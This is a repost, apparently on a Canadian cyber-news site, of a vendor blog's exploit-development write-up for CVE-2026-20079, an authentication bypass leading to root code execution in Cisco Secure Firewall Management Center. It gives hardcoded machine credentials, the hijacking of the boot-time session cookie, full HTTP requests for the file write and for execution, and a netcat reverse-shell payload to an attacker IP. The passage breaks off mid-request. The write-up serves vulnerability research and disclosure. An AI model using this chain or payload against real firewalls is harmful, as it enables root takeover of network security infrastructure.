Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    SSA-734261 V1.0: Authentication Bypass Vulnerability in Energy Services Using Elspec G5DFR

    April 8, 2026

    Incident: Eagers Automotive says IT outage stems from cyber incident | iTnews

    April 8, 2026

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026
    Facebook X (Twitter) Instagram
    • Demos
    • Technology
    • Gaming
    • Buy Now
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Canadian Cyber WatchCanadian Cyber Watch
    • Home
    • News
    • Alerts
    • Tips
    • Tools
    • Industry
    • Incidents
    • Events
    • Education
    Subscribe
    Canadian Cyber WatchCanadian Cyber Watch
    Home»News»CVE-2026-20079 – Cisco FMC Authentication Bypass RCE Analysis | Blog
    News

    CVE-2026-20079 – Cisco FMC Authentication Bypass RCE Analysis | Blog

    adminBy adminMarch 26, 2026No Comments25 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email


    On March 4, 2026, Cisco published an advisory for CVE-2026-20079, a CVSS 10.0 vulnerability in Cisco Secure Firewall Management Center (FMC). Since Cisco networking gear tends to be a common adversary target, our Initial Access Intelligence team’s interest was immediately piqued. Censys finds about 300 Cisco FMC instances on the public internet, while FOFA finds between 600 and 700 exposed systems. This blog goes into detail on the exploit development process for CVE-2026-20079, which was an unexpectedly wild ride.

    CVE-2026-20079 arises when a startup process on the FMC system creates a partial csm_processes session in the sfsnort.sessions database. If no users authenticate after the system boots, the session persists and can be upgraded into permissions usable by an attacker, who could then call a significant set of CGI scripts.

    VulnCheck identified that certain scripts could be chained such that a low-privileged session ID could be upgraded into a UI login session, after which RCE is possible via a multi-step process:

    • The csm_processes session is created in the database at boot and is marked as machine process with a static session ID, instead of a dynamic UUID like the rest of the system
    • The csm_processes session ID could be upgraded into a UI session via hardcoded credentials with the report user, which then uses the csm_processes session UI permissions to allow authentication. This creates a set of required session parameters that are needed for accessing the API calls, namely sf_action_id. The hardcoded machine user credentials are report:snortrules.
    • The report user session is then granted the rights to view the UI pages containing the sf_action_id (no actual user privileges are assigned), which is extracted.
    • An arbitrary file write is conducted on sajaxintf.cgi via the all user-privileged validateLicense bulk AJAX API endpoint, which writes Unicode-escaped data to /var/tmp/license.tmp. For the purposes of our exploit, we wrote a special shell script with the “Makeself” Cisco-defined format that utilizes several hardcoded strings.
    • The shell script that we wrote to license.tmp is then executed by calling the “all”-privileged allowed pjb.cgi endpoint with the SF::UI::DataObjectLibrary::upgradeReadinessCall and calling the /var/tmp/license.tmp shell script as the target.
    • The FMC system then processes the license.tmp file as an upgrade script and triggers an “install” process that ends up executing a SF::System::Wrappers::RunCmd Perl function that runs the script as root.

    In order for the authentication bypass to succeed, the FMC host must have been rebooted, and the session must still exist in the database. Our team identified several instances where the required session will not be present, which would prevent exploitation until the system reboots. Any of the following may clear the injected session:

    • Dashboard and widget interaction from authenticated users clears the “old sessions,” including the old csm_processes session
    • Cloud managed sessions interactioning with the web UI
    • Periodic cleanups are triggered on account authentication, which happens sporadically for the automated csm_processes user.

    This means that it’s likely the only time the target will be exploitable is shortly after boot, or on systems that aren’t commonly interacted with or directly authenticated to the web UI.

    The Cisco advisory for CVE-2026-20079 states that:

    A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.

    This vulnerability is due to an improper system process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device.

    To our hacker ears this says very little, and by not saying a lot, the things it does say matter a ton:

    • The boot time statement tells me that something is up with session handling at system boot time
    • The vulnerability’s being unauthenticated immediately tells me that the boot time process enabled some session manipulation to reach management scripts, or that some hard-coded process allows a set of known values to be manipulated into a real session.

    The only way to know was to dig in.

    After patch diffing, a few things became apparent: The FMC system was a complex set of APIs that used Apache HTTPD redirects and proxy rewrites to access a large set of Perl, Java, and Go services running on the host, and the changes related to CVE-2026-20079 were relatively small.

    The primary changes were to the Apache HTTPD configuration file and to the /Volume/7.7.12-3/sf/lib/perl/5.34.1/SF/Auth.pm Perl Mojolicious CGI authentication handler, with a grand total of around 25 lines of code changed. Great, this should be easy, right? (This is a literary device called foreshadowing.)

    The first change was to the httpsd_conf.tt template located at /Volume/7.7.12-3/sf/htdocs/templates/html_templates/stig/httpsd_conf.tt. This is used as a template to generate the configuration for the Apache web service that functions as the main entry point for routing on FMC. The changes below show that the only addition was to add a check for whether the remote address is from the local system, and if it is, to set a X-Auth-User-Type header to 1:

    SetEnvIf Remote_Addr ^127\.0\.0\.1$|^::1$ request_is_local
    RequestHeader set X-Auth-User-Type 1 env=!request_is_local
    

    A corresponding addition was made to the Perl authentication handling library at /Volume/7.7.12-3/sf/lib/perl/5.34.1/SF/Auth.pm, which adds the following validation for the previously added header; if a session exists for an account and the header type does not match the expected user type, it will trigger an unauthorized error:

    # verify user type
    if ($session) {
        my $userTypeFromSession = $session->param('usertype');
        my $userTypeFromHeader;
        if (ref($q) eq 'Mojo::Message::Request') {
            $userTypeFromHeader = $q->headers->header('X-Auth-User-Type');
        } else {
            $userTypeFromHeader = $q->http('X-Auth-User-Type');
        }
        if (
            defined $userTypeFromHeader &&
            $userTypeFromHeader == AUTH_IS_USER &&
            defined $userTypeFromSession &&
            $userTypeFromSession != AUTH_IS_USER
        ) {
            my $username = $session->param('username');
            warn "CheckLogin: Incorrect user type: $userTypeFromHeader != $userTypeFromSession ($username)";
            return 0 if $hasReturnFlag;
            Unauthorized($q, $session);
        }
    }
    

    These two changes let us know that the authentication bug relates to the “user type” and that any interaction with the web UI will force the user type to be a specific value. This, in turn, means that the authentication bug likely has to do with a non-AUTH_IS_USER user.

    The Auth.pm file defines a set of user types:

    use constant AUTH_IS_NONE => 0;
    use constant AUTH_IS_USER => 1;
    use constant AUTH_IS_MACHINE => 2;
    

    So we also know that the vulnerability is likely related to the AUTH_IS_MACHINE user type, as the Apache changes force the web server interaction into a 1 or AUTH_IS_USER state. Time to start hunting for the potential users and authentication mechanisms for the AUTH_IS_MACHINE type.

    After searching the Perl code base and checking the database, we identified that the following are hardcoded user credentials that are extracted from the /Volume/7.7.11-1061/sf/bin/repair_users.pl script:

    # Now create other system users
    create_user("report", "ReportUser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
    change_password("report", "snortrules");
    create_user("sftop10user", "Top10User", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
    change_password("sftop10user", "snortrules");
    create_user("SRU", "SRUuser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
    change_password("SRU", "snortrules");
    create_user("Sourcefire", "SourcefireUser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
    change_password("Sourcefire", "snortrules");
    create_user("csm_processes", "csm_processes", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
    change_password("csm_processes", "csmdaemon");
    

    These hardcoded credentials corresponded to the hashes stored in the FMC system’s MySQL server in the sfsnort.users database table, meaning that they are at least partially hardcoded. Immediately, our first instinct was to try authenticating with every authentication entry point we could find with these credentials, but no dice: Machine users are unable to authenticate to the web interface and are not allowed to interact with the routed API services. By inspecting theApache logs and packet captures, we could see that these processes were run locally, and each of these users would occasionally interact with portions of the API from the local machine perspective.

    This gave us a few hints about where these machine user accounts were created and some of their common uses. The next step was to figure out what “This vulnerability is due to an improper system process that is created at boot time” meant in Cisco’s advisory.

    During boot time, a few of the above accounts run scripts of the startup process for FMC. Only the Go binary /Volume/7.7.11-1061/sf/bin/auth-daemon handles a large number of initial startup actions. One of the primary actions is to create a session for the csm_processes user to kick-off its first-start logic, which ends in the following database entry containing the Perl serialized session information:

    MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions;
    | a_session
    | $D = {'username' => 'csm_processes','original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','session_expire_check' => 1,'useruuid' => '8acb8f4a-c40d-11e3-95aa-54f999c07ac9','usertype' => 2,'_SESSION_CTIME' => 1773962523,'_SESSION_ATIME' => 1773962523,'_SESSION_ID' => 'csm_processes','active' => 0,'_SESSION_REMOTE_ADDR' => '','_SESSION_EXPIRE_LIST' => {},'VMS_SESSION_ID' => 'csm_processes','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f'};;$D |
    

    Notably, the sfsnort.sessions database and table are the same locations where valid web UI authentications happen. No other machine accounts appear to have sessions created in this portion of the database, and the only other a_session objects that get created are from user web authentication. A few things about the above:

    1. active set to 0 means that the session is active
    2. session_expire_check set to 1 means that the session expiration is checked

    Additionally, when a user logs into the web UI, normally the session looks like the following:

    MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions;
    | a_session |
    | $D = {'active' => 0,'last_csm_refresh' => 1774465805,'sf_action_id' => 'a490cd6e67ccde81d131684846d7a13c','original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','_SESSION_CTIME' => 1774465805,'_SESSION_EXPIRE_LIST' => {'session_expire_check' => 3600},'username' => 'admin','session_expire_check' => 1,'user_access_type' => 'rw','last_login' => {'last_login_time' => 1773962153,'remote_host_ip' => '10.0.1.10'},'useruuid' => '68d03c42-d9bd-11dc-89f2-b7961d42c462','_SESSION_REMOTE_ADDR' => '10.0.1.10','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','domains' => '[{"name":"Global","uuid":"e276abec-e0f2-11e3-8169-6d9ed49b625f"}]','_SESSION_ATIME' => 1774465819,'IS_WORKFLOW_MODE' => 'false','VMS_SESSION_ID' => '-1102361566','usertype' => 1,'_SESSION_ID' => '80a3ec54ed31807a655fb7d2018c69cf','_SESSION_ETIME' => 3900};;$D |
    | $D = {'_SESSION_ATIME' => 1774465771,'original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','useruuid' => '8acb8f4a-c40d-11e3-95aa-54f999c07ac9','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','_SESSION_EXPIRE_LIST' => {},'usertype' => 2,'_SESSION_CTIME' => 1774465771,'active' => 0,'_SESSION_ID' => 'csm_processes','VMS_SESSION_ID' => 'csm_processes','session_expire_check' => 1,'_SESSION_REMOTE_ADDR' => '','username' => 'csm_processes'};;$D |
    

    This shows that a few more things are missing or different between the machine user authentication and the admin user authentication:

    • user_access_type, sf_action_id, domains, and more are not present in the csm_processes session object.
    • Some of the values appear to differ in content type, notably _SESSION_ID parameters and _SESSION_ID

    The most interesting part for now is that the _SESSION_ID value corresponds to the web UI admin user’s CGISESSID=80a3ec54ed31807a655fb7d2018c69cf cookie value and is generated dynamically for normal user authentication. Immediately, we attempt to set CGISESSID to be CGISESSID=csm_processes in order to correspond to the startup process value.

    Sure enough, a request to the /help/about.cgi CGI endpoint without a cookie set returns an invalid session error:

    GET /help/about.cgi HTTP/1.1
    Host: 10.0.0.226
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    

    HTTP/1.1 302 Found
    Date: Wed, 25 Mar 2026 19:30:07 GMT
    Server: Mojolicious (Perl)
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Content-Type: text/plain; charset=utf-8
    Location: /ui/login?target=%2Fmojo-async%2Fhelp%2Fabout.cgi
    Content-Length: 19
    Cache-Control: no-store
    X-Frame-Options: SAMEORIGIN
    X-UA-Compatible: IE=edge
    X-Permitted-Cross-Domain-Policies: none
    X-XSS-Protection: 1; mode=block
    Referrer-Policy: same-origin
    Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
    X-Content-Type-Options: nosniff
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    
    Invalid session ID
    

    But, with our special csm_processes session ID, we reach the page and get a HTTP 200 response, and the system data renders:

    GET /help/about.cgi HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=csm_processes
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    

    HTTP/1.1 200 OK
    Date: Wed, 25 Mar 2026 19:28:23 GMT
    Server: Mojolicious (Perl)
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Vary: Accept-Encoding
    Cache-Control: no-store
    X-Frame-Options: SAMEORIGIN
    X-UA-Compatible: IE=edge
    X-Permitted-Cross-Domain-Policies: none
    X-XSS-Protection: 1; mode=block
    Referrer-Policy: same-origin
    Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
    X-Content-Type-Options: nosniff
    Content-Length: 25555
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    
    DOCTYPE html>
    
    
    
    ...snip...
    

    Authentication bypass for the auth dialogue.

    Sweet! It appears we found the issue, and it looks to be as easy as using a hardcoded session. Now we can just set our cookie to that value and try and reach any of the pages…. and every page functionally triggers the following error:

    Authentication failing on most pages.

    Using the hardcoded session and reaching for any of the endpoints triggers errors in the log similar to the following:

    [2026-03-25 19:41:00.32860] [14601] [debug] 200 OK (2.203898s, 0.454/s)
    [2026-03-25 19:41:00.32865] [14601] [debug] after dispatch worker inspection
    [2026-03-25 19:41:46.03099] [14601] [debug] Resetting modules...
    [2026-03-25 19:41:46.03807] [14601] [debug] Module reset complete
    [2026-03-25 19:41:46.03828] [14601] [debug] GET "/platinum/ApplianceInformation.cgi" (27828f1b)
    [2026-03-25 19:41:46.03841] [14601] [debug] Routing to controller "SF::Mojo::Handlers::ApplianceInformationHandler" and action "mojo_handler"
    [2026-03-25 19:41:46.03895] [14601] [info] handle_auth: Trying to connect to /platinum/ApplianceInformation.cgi
    [2026-03-25 19:41:46.04650] [14601] [info] User [csm_processes] does not have page permission [configuration]. Access denied. at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 3268.
    [2026-03-25 19:41:46.04675] [14601] [info] Unauthorized access to /platinum/ApplianceInformation.cgi
            called from SF::Util::Stacktrace::ToString at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/CommonUtils.pm, line 119
            called from SF::Mojo::CommonUtils::Unauthorized at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/CommonUtils.pm, line 266
            called from SF::Mojo::CommonUtils::handle_auth at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/Handlers/ApplianceInformationHandler.pm, line 19
    ...snip...
            called from Mojo::Server::Prefork::_spawn at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Prefork.pm, line 100
            called from Mojo::Server::Prefork::_manage at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Prefork.pm, line 85
            called from Mojo::Server::Prefork::run at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Hypnotoad.pm, line 74
            called from Mojo::Server::Hypnotoad::run at /usr/local/sf/bin/mojo_server_wrapper.pl, line 38
    [2026-03-25 19:41:46.04803] [14601] [info] Use of uninitialized value $key in concatenation (.) or string at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
    [2026-03-25 19:41:46.04806] [14601] [info] getSFActionID: <> **************************************************** at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
    [2026-03-25 19:41:48.04822] [14601] [info] Use of uninitialized value $key in concatenation (.) or string at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
    [2026-03-25 19:41:48.04829] [14601] [info] getSFActionID: <> **************************************************** at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
    [2026-03-25 19:41:48.21809] [14601] [info] Use of uninitialized value in string eq at /usr/local/sf/lib/perl/5.34.1/SF/Amplitude.pm line 40.
    [2026-03-25 19:41:48.22680] [14601] [debug] 200 OK (2.188507s, 0.457/s)
    [2026-03-25 19:41:48.22691] [14601] [debug] after dispatch worker inspection
    

    As it turns out, nearly every CGI page of the application contains a snippet similar to the following:

    use SF::Auth;
    my $session = SF::Auth::GetSession($cgi);
    SF::Auth::CheckLogin($cgi, $session);
    

    Internally to the application, the current session username is cross-referenced with the permission logic Permission.pm module, and uses the permissions assigned to the user for whenever CheckLogin is run. This means we can pass the basic authentication check for any page that only uses SF::Auth::GetSession, but any calls to SF::Auth::CheckLogin or a direct permission check will have to have permissions of the user. Well what does our csm_processes user permission have? None. Turns out the machine user does not have any permissions assigned, and we are functionally restricted to the lowest-privileged user account.

    This immediately presented a huge problem, as we generally could not interact with any of the APIs or CGI scripts (with very few exceptions). We began to attempt to check authentication logic for a few set of entry points, testing as many as we could find and cross-referencing what a normal admin UI user would be able to interact with.

    Testing showed that we only had access to a small handful of API calls that checked session validity, a few CGI scripts, and not a single one of the /api routes in Apache. We got stuck here for quite a while attempting to find what we could access with our minimally privileged user, as the words “successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device” echoed in our heads.

    Our UI login testing and cross referencing with the csm_processes session showed a couple of exceptions to the CheckLogin logic that stood out:

    • The pjb.cgi script that appears to be used for bulk API requests does not directly check logins, only sessions; but then it cross-references the permissions that are callable with a set of permission maps to functions defined in sf/lib/perl/5.34.1/SF/UI/PJB.pm. This includes a special all permission.
    • The sajaxintf.cgi script handles async AJAX requests; it has a set of functions that any user appears to be able to call, and that correlate to functions defined in sf/lib/perl/5.34.1/SF/UI/SajaxIntf.pm that individually appear to perform most of their logic.

    Great, those sound like perfect candidates, but both of these APIs have odd interfaces. For sajaxintf.cgi, requests are sent as a JSON array, and the ordered arguments correlate to the application functions and their arguments. The following call sends a request to the batchResults function. All the following parameters are arguments for that function:

    POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772847841952 HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=199ceac425aaa91610edd959ce049568
    Content-Length: 143
    Accept-Language: en-US,en;q=0.9
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept: */*
    Connection: keep-alive
    
    ["a490cd6e67ccde81d131684846d7a13c","batchResults",null,10000,"getRulesForCategory","policy_modifications","","","Category::browser-chrome",""]
    

    Meanwhile, the pjb.cgi script has a similar interface, but instead uses form value fields and a parameter field that contains the JSON array field that corresponds to a Perl object. In the following example the SF::IdentityPolicy::IdentityPolicy::getPolicyList function is called and parameters is an encoded empty JSON array ([]) indicating no arguments are passed:

    POST /pjb.cgi HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=199ceac425aaa91610edd959ce049568
    Content-Length: 177
    Accept-Language: en-US,en;q=0.9
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept: */*
    Connection: keep-alive
    
    &function=SF::IdentityPolicy::IdentityPolicy::getPolicyList&parameters=%5B%5D&get_all_errors=1&sf_action_id=a490cd6e67ccde81d131684846d7a13c&ss=IdentityPolicyList&am=Page%20View
    

    As you may have noticed, both requests contain the value a490cd6e67ccde81d131684846d7a13c, the first in the first array parameter and the second in the sf_action_id parameter. This is where the next hurdle comes into play, because this value acts as a CSRF token that is tied to user sessions. Looking at the original startup-created session SQL response, we see that the admin user session has the sf_action_id value set, and the csm_processes session does not. This means that if we make a request to those endpoints, we will not be able to pass any of the basic validation checks, because that session does not have the sf_action_id value set. This results in the inability to call any of the functions in these applications and also causes almost all API calls to fail uniformly. These also correlate directly to the session value so are not reusable between user sessions.

    We need to get a sf_action_id or a permission upgrade to be able to functionally do anything beyond version checking.

    Our first thought was to look at all the session value manipulations and any interactions with permissions, which turned out to be a dead end: In our testing, there were almost no session manipulations that could occur unauthenticated. Our second idea was to look at other APIs and reverse auth-daemon for any interactions. Midway through that long process and many failed sinks, something occurred to me. The csm_processes session value isn’t inherently tied to the csm_processes authentication. According to the Auth.pm code, an authentication to the login page would happily take an existing session value and make a new session for the user — and it would happily initialize a set of options on the existing session:

    my $authing = 0;
    sub GetSession {
        my ($q, $silent) = @_;
        #warn "Get Session not silent: ".SF::Util::Stacktrace::ToString() if (!$silent);
    
        # Return the cached session if we have one
        return $_SESSION if (defined $_SESSION);
    
        $q = new SF if !defined $q;
    
        # If they were fishing for a cached session but there isn't one, return no session
        my $sid;
        if (ref($q) eq 'Mojo::Message::Request') {
            $sid = find_session_id_from_cookies($q->cookies);
        } else {
            # Get the session ID from the cookie
            $sid = $q->cookie($CGI::Session::NAME);
        }
        return undef if !defined $sid;
    
        # Initialize sfclient
        return undef if (sfclient::sfclient_Init() != 0);
    
        # Cache the session and return it
        $_SESSION = MakeSession($sid, $silent);
        if (ref($q) eq 'Mojo::Message::Request') {
            $CURRENT_REQ_URL = $q->url->path->to_string;
            $CURRENT_REQ_METHOD = $q->method;
            setCurrentReqParams($q->params->to_hash);
        }
        else {
            $CURRENT_REQ_URL = $q->url( -absolute => 1);
            $CURRENT_REQ_METHOD = $q->request_method;
            setCurrentReqParams(scalar $q->Vars());
        }
        return $_SESSION;
    }
    

    The biggest issue was very much a chicken and egg problem: We needed credentials to be able to upgrade a session. Then while staring at the authentication code for the hundredth time, it occurred to me: The current session checks that are applied to the csm_processes session have the variables necessary for UI authentication. Attempting to use the hardcoded csm_processes:csmdaemon credentials to log in, unfortunately, causes the session to immediately expire (as is stated in the session information), and the boot session is entirely removed, locking us out of the attack path.

    But, there’s no reason that the csm_processes session ID couldn’t be upgraded by a different machine user, and because the values are set to be able to pass UI authentication, all we had to do was take one of the hardcoded credentials that was not the csm_processes user and authentication would be happy even if it’s a non-UI machine user.

    Sure enough, we could authenticate with report:snortrules credentials with the CGISESSID=csm_processes session set, after which the MakeSession function is called as the report user, the checks validate the machine user as a UI user, and the session values are updated.

    POST /login.cgi?logon=Continue HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=csm_processes;
    Content-Length: 43
    Accept-Language: en-US,en;q=0.9
    Origin: https://10.0.0.226
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Connection: keep-alive
    
    username=report&password=snortrules&target=
    

    And the session values in the database are upgraded, the server responds with a successful authentication that redirects to the UI / and a Set-Cookie set to the already established (but now upgraded) CGISESSID=csm_processes. The session now has more session values set, including the necessary sf_action_id:

    MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions WHERE id='csm_processes';
    | $D = {'useruuid' => '616931da-e3df-11dc-8002-930b8c1d4d5e','user_access_type' => 0,'_SESSION_ID' => 'csm_processes','last_csm_refresh' => 1773962941,'current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','VMS_SESSION_ID' => 'csm_processes','_SESSION_ATIME' => 1773962943,'original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','username' => 'report','_SESSION_CTIME' => 1773962523,'_SESSION_EXPIRE_LIST' => {'session_expire_check' => 3600},'_SESSION_REMOTE_ADDR' => '','usertype' => 1,'_SESSION_ETIME' => 3900,'session_expire_check' => 1,'last_login' => {'remote_host_ip' => '10.0.1.10','last_login_time' => 1773951618},'sf_action_id' => 'fe8b71b0344419ae464328a578a12902','active' => 0};;$D |
    

    Another redirect to /ui/user/general can be followed, and then the FMC “DDD” logic renders a UI template containing a call to the template SF::Auth::getSFActionID() that renders that session value on the page:

    ...snip...
      
        <script type="text/javascript">
          var sf_action_id = "fe8b71b0344419ae464328a578a12902";
          var __prefetch = {"capabilities":{"hideMenuForOnbox":0,"isLamplighterEnabled":0,"isOnboxManaged":0,"showDeployDialog":0,"isStandbyDC":"0","isExternalStorageEnabled":0,"isWorkflowEnabled":1,"isSyslogAllLogsToFmc":1,"activityId":0,"isCDODeployment":0,"isNATExemptEnabled":1,"isUM":1,"isChangeMgmtWorkflowEnabled":0,"exposeDNSReputationEnforcement":1},"static":{"locale":"en_US","SF::MultiTenancy::isDomainObjInfoVisible":{"isDomainInfoVisible":0}}};
          // Backdraft integration
                var BackdraftSyncIntegration = (function() {
            var currentHelpTopic = undefined;
            var navMap = {};
    ...snip...
    

    Now that a sf_action_id is accessible, we can make calls to the previous pjb.cgi and sajaxintf.cgi endpoints with the retrieved sf_action_id.

    Now that we can finally reach the CGI scripts and call them, the team crawled through these functions looking for primitives to use. We identified three useful calls:

    1. An arbitrary write via sajaxintf.cgi using the validateLicense call that will take arbitrary data and write it to /var/tmp/license.tmp. Binary data can be written to that by providing JSON Unicode-escaped values, such as \u000a for newlines.
    2. An arbitrary Perl Storable deserialization via sajaxintf.cgi using the batchResult function call that allows a path traversal to ../license.tmp, and then will call /sf/lib/perl/5.34.1/SF/UI/SajaxIntf.pm and the batchResult function that contains another call to SF::Util::DeSerialize that finally calls Storable::retrieve (with the unsafe local $Storable::Eval = $Storable::Eval = 1; setting). It’s likely that this is exploitable to directly achieve RCE, but no usable STORABLE_thaw gadgets were found during testing.
    3. An upgrade package installer function call to SF::UI::DataObjectLibrary::upgradeReadinessCall via the pjb.cgi code and a set of options pointing to the license.tmp file that validates a large set of parameters and options, but can be used to run “installable” package types provided by Cisco.

    The update types can be checked in sf/lib/perl/5.34.1/SF/Update.pm with the GetUpdateFileType that checks the first 1024 bytes and assigns a type to the “install” file:

    • EMPTY – empty
    • GPG – GPG-signed install package
    • RPM – and RPM package
    • TARBALL_XZ – an XZ-compressed tarball file
    • BUNDLE – a custom Cisco install format that contains a bundle.tar file
    • SCRIPT – A shell script that contains #!/bin/sh
    • MAKESELF – A shell script that also contains the hardcoded string # This script was generated using Makeself
    • STUB – a split stub JSON file
    • UNKNOWN – Anything else

    The upgradeReadinessCall will only reach the Install logic under a subset of these types, and the trivial SCRIPT will not work for basic execution. Luckily, MAKESELF is also just a shell script with a slightly different format and a hardcoded string. The upgradeReadinessCall will validate a few UUID parameters and the filetype before passing it to SF::Update::readinessInstall that calls SF::Update::GetUpdateFileInfo, runs a large set of checks, and then triggers SF::Update::Install on the file. That in turn calls SF::Update::Install::_aqInstallTask that does disk space checks, validates signatures, performs a few more checks, and then queues the task into SF::System::Privileged::InstallUpdate with the filename. This package finally calls SF::System::Wrappers::RunCmd, which ironically checks whether the caller was run from SF::System — and if so, it marks the first command argument to be /usr/bin/sudo and runs the following eval indicating code execution can be achieved:

    # Open SFNULL to /dev/null so there is less
    # chance of someone inputting commands
    open(SFNULL, "/dev/null");
    
    warn Dumper($dumpcmd) if $DEBUG;
    
    # Traps exceptions for the open call.
    eval
    {
        $pid = open3(*SFNULL, *OUTH, *ERRH, @$cmd);
    };
    

    The full process of this path execution from the file write is as follows:

    The file write to sajaxintf.cgi is called with the callServerFunc URL parameter and an arbitrary Unix timestamp; then the body content is the JSON array containing an ordered array of parameters. In our case, we call the validateLicense function and place our payload in a MAKESELF validating script that uses the JSON Unicode-escaped format for any newline characters (normal \n will not validate, and arbitrary binary data can actually be written to the file with this technique):

    POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772817208099 HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=csm_processes
    Content-Length: 216
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept: */*
    Origin: https://10.0.0.226
    Referer: https://10.0.0.226/platinum/IDSRuleList.cgi
    Connection: keep-alive
    
    
    [
    "2c33d78906e48adf429099629b0e1acf",
    "validateLicense",
    "#!/bin/sh\u000A# This script was generated using Makeself\u000A\u000Arm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.1.10 1337 >/tmp/f\u000A"]
    

    The server will respond with an error saying that the license is invalid:

    HTTP/1.1 200 OK
    Server: Mojolicious (Perl)
    Content-Type: application/json
    Content-Length: 219
    
    {"data":{"lic":"#!/bin/sh\n# This script was generated using Makeself\n\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.1.10 1337 >/tmp/f\n","statusmsg":"License is Invalid.\n","status":0,"isBaseLicense":0}}
    

    But on the disk, the file will be deserialized from JSON and written to /var/tmp/license.tmp with the fully formed shell script. Finally, the pjb.cgi interface is called. This also takes a set of special arguments:

    • function: the function being called by the server. In our case, this is SF::UI::DataObjectLibrary::upgradeReadinessCall, but in the exploit’s case can be any function that has an all permission mark.
    • parameters: a JSON array that contains all the parameters for the function call in the order that they are called by the function. In this case, we are sending ["/var/tmp/license.tmp",["42fb13fa-82e0-47a1-b147-3d64c8b9c708"]] which contains the location of install files and a random UUID that is required to select the “local install” option of the readiness call (theoretically, if the system has a remote install setup and the sensors’ UUIDs are known, this should also allow execution on remote sensors).
    • sf_action_id: contains the retrieved CSRF token

    Calling this will finally trigger the remote code execution as root:

    POST /pjb.cgi HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=csm_processes
    Content-Length: 224
    Accept-Language: en-US,en;q=0.9
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Accept: */*
    
